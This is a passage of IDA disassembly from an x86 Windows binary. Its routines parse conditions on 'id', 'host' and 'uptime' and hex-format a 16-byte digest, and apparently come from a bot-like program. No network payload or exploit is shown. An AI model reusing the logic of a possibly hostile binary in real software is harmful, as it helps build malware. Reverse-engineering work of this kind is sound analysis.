sub_412BC0	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412BC0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C10	proc near		; CODE XREF: sub_401F00j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
sub_412C10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412CB0:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43994E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412FD6
		push	ebx
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013D9
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013D9
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E2E
		push	offset asc_443600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016AE
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E2E
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40200E
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40200E
		push	offset asc_443D30 ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E35
		xor	edi, edi


loc_412E35:				; CODE XREF: ___:00412E31j
		push	offset asc_443D2C ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E4C
		mov	edi, 1


loc_412E4C:				; CODE XREF: ___:00412E45j
		push	offset asc_443D28 ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E63
		mov	edi, 2


loc_412E63:				; CODE XREF: ___:00412E5Cj
		push	offset asc_443D24 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E7A
		mov	edi, 3


loc_412E7A:				; CODE XREF: ___:00412E73j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4
		test	edi, edi
		jnz	short loc_412EAA
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44758A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412ED4
		jmp	short loc_412EC7
; ---------------------------------------------------------------------------


loc_412EAA:				; CODE XREF: ___:00412E8Ej
		cmp	edi, 1
		jnz	short loc_412ED4
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44758A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4


loc_412EC7:				; CODE XREF: ___:00412EA8j
		push	0
		push	esi
		mov	ecx, offset byte_4472A7
		call	sub_401A32


loc_412ED4:				; CODE XREF: ___:00412E8Aj
					; ___:00412EA6j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F27
		test	edi, edi
		jnz	short loc_412F08
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60CD
		call	sub_4013E3
		test	eax, eax
		jnz	loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F08:				; CODE XREF: ___:00412EE8j
		cmp	edi, 1
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60CD
		call	sub_4013E3
		test	eax, eax
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F27:				; CODE XREF: ___:00412EE4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		mov	ebx, eax
		call	sub_401654
		test	edi, edi
		jnz	short loc_412F5D
		cmp	eax, ebx
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F5D:				; CODE XREF: ___:00412F55j
		cmp	edi, 1
		jnz	short loc_412F68
		cmp	eax, ebx
		jnz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F68:				; CODE XREF: ___:00412F60j
		cmp	edi, 2
		jnz	short loc_412F73
		cmp	eax, ebx
		jle	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F73:				; CODE XREF: ___:00412F6Bj
		cmp	edi, 3
		jnz	short loc_412F89
		cmp	eax, ebx
		jge	short loc_412F89


loc_412F7C:				; CODE XREF: ___:00412F06j
					; ___:00412F25j ...
		push	0
		push	esi
		mov	ecx, offset byte_4472A7
		call	sub_401A32


loc_412F89:				; CODE XREF: ___:00412F00j
					; ___:00412F0Bj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD6:				; CODE XREF: ___:00412CE9j
		mov	al, 1


loc_412FD8:				; CODE XREF: ___:00412FD4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4130E0	proc near		; CODE XREF: sub_401654j
		call	near ptr 27E0716h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4130E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413120	proc near		; CODE XREF: sub_401FFAj

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401749
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F05
sub_413120	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401843
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43E044
		call	sub_401924
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131F0	proc near		; CODE XREF: sub_401CF8j ___:00401E10j
		push	esi
		mov	esi, ecx
		call	sub_401C8F
sub_4131F0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_413208
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_413208:				; CODE XREF: ___:004131FDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413220	proc near		; CODE XREF: sub_401C8Fj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43E044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401924
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014B5
sub_413220	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132E0	proc near		; CODE XREF: sub_4019F6j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_4132E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Ch
		push	9
		push	1
		lea	edx, [esp+2Ch]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4133D0	proc near		; CODE XREF: sub_401CD0j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4133D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413477
		lea	ecx, [esp+18h+var_14]
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413477


loc_413438:				; CODE XREF: sub_4133D0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41349C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413438


loc_413477:				; CODE XREF: sub_4133D0+2Ej
					; sub_4133D0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41349C:				; CODE XREF: sub_4133D0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4133D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413510	proc near		; CODE XREF: sub_402112j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_413510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_4135E3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jz	short loc_4135E3


loc_41357F:				; CODE XREF: sub_413510+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebx
		call	sub_401CD0
		mov	esi, eax
		test	esi, esi
		jz	short loc_4135AC
		mov	edi, [esi]


loc_4135AC:				; CODE XREF: sub_413510+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B72
		test	eax, eax
		jz	short loc_41360B
		test	esi, esi
		jnz	short loc_41360B
		lea	ecx, [esp+28h+var_18]
		call	sub_4018B6
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jnz	short loc_41357F


loc_4135E3:				; CODE XREF: sub_413510+31j
					; sub_413510+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4135F6:				; CODE XREF: sub_413510+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_41360B:				; CODE XREF: sub_413510+AAj
					; sub_413510+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4135F6
sub_413510	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413670	proc near		; CODE XREF: sub_401F46j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413714
		lea	ecx, [esp+14h+var_14]
		call	sub_401E1F
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_413714


loc_4136D6:				; CODE XREF: sub_413670+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jz	short loc_413746
		lea	ecx, [esp+14h+var_14]
		call	sub_4020A4
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_4136D6


loc_413714:				; CODE XREF: sub_413670+2Bj
					; sub_413670+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401578
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413746:				; CODE XREF: sub_413670+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401578
sub_413670	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4137E0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4137E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017E4
		test	eax, eax
		jz	loc_413913
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A55
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_401424
		push	offset byte_446F60
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015D7
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014D3
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C12
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402158
		add	esp, 14h


loc_41387B:				; CODE XREF: sub_4137E0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_401424
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016BD
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41387B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B72
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_41390E
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_41392C
; ---------------------------------------------------------------------------


loc_41390E:				; CODE XREF: sub_4137E0+10Cj
		call	sub_401226


loc_413913:				; CODE XREF: sub_4137E0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_41392C:				; CODE XREF: sub_4137E0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4137E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4139B0	proc near		; CODE XREF: sub_40191Fj

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4139B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014C9
		mov	ecx, esi
		call	sub_402112
		test	eax, eax
		jz	short loc_413A5E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_40171C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014C9
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F46
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413A5E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413A5E:				; CODE XREF: sub_4139B0+3Fj
					; sub_4139B0+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_4139B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413AE0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_439B08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40191F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413B70	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413B70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413CB9
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017E4
		test	eax, eax
		jz	loc_413CB9
		push	esi
		push	edi
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413C93
		add	ebp, 54h


loc_413BF0:				; CODE XREF: sub_413B70+11Dj
		push	15h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413C10
		mov	ecx, eax
		call	sub_401F2D
		jmp	short loc_413C12
; ---------------------------------------------------------------------------


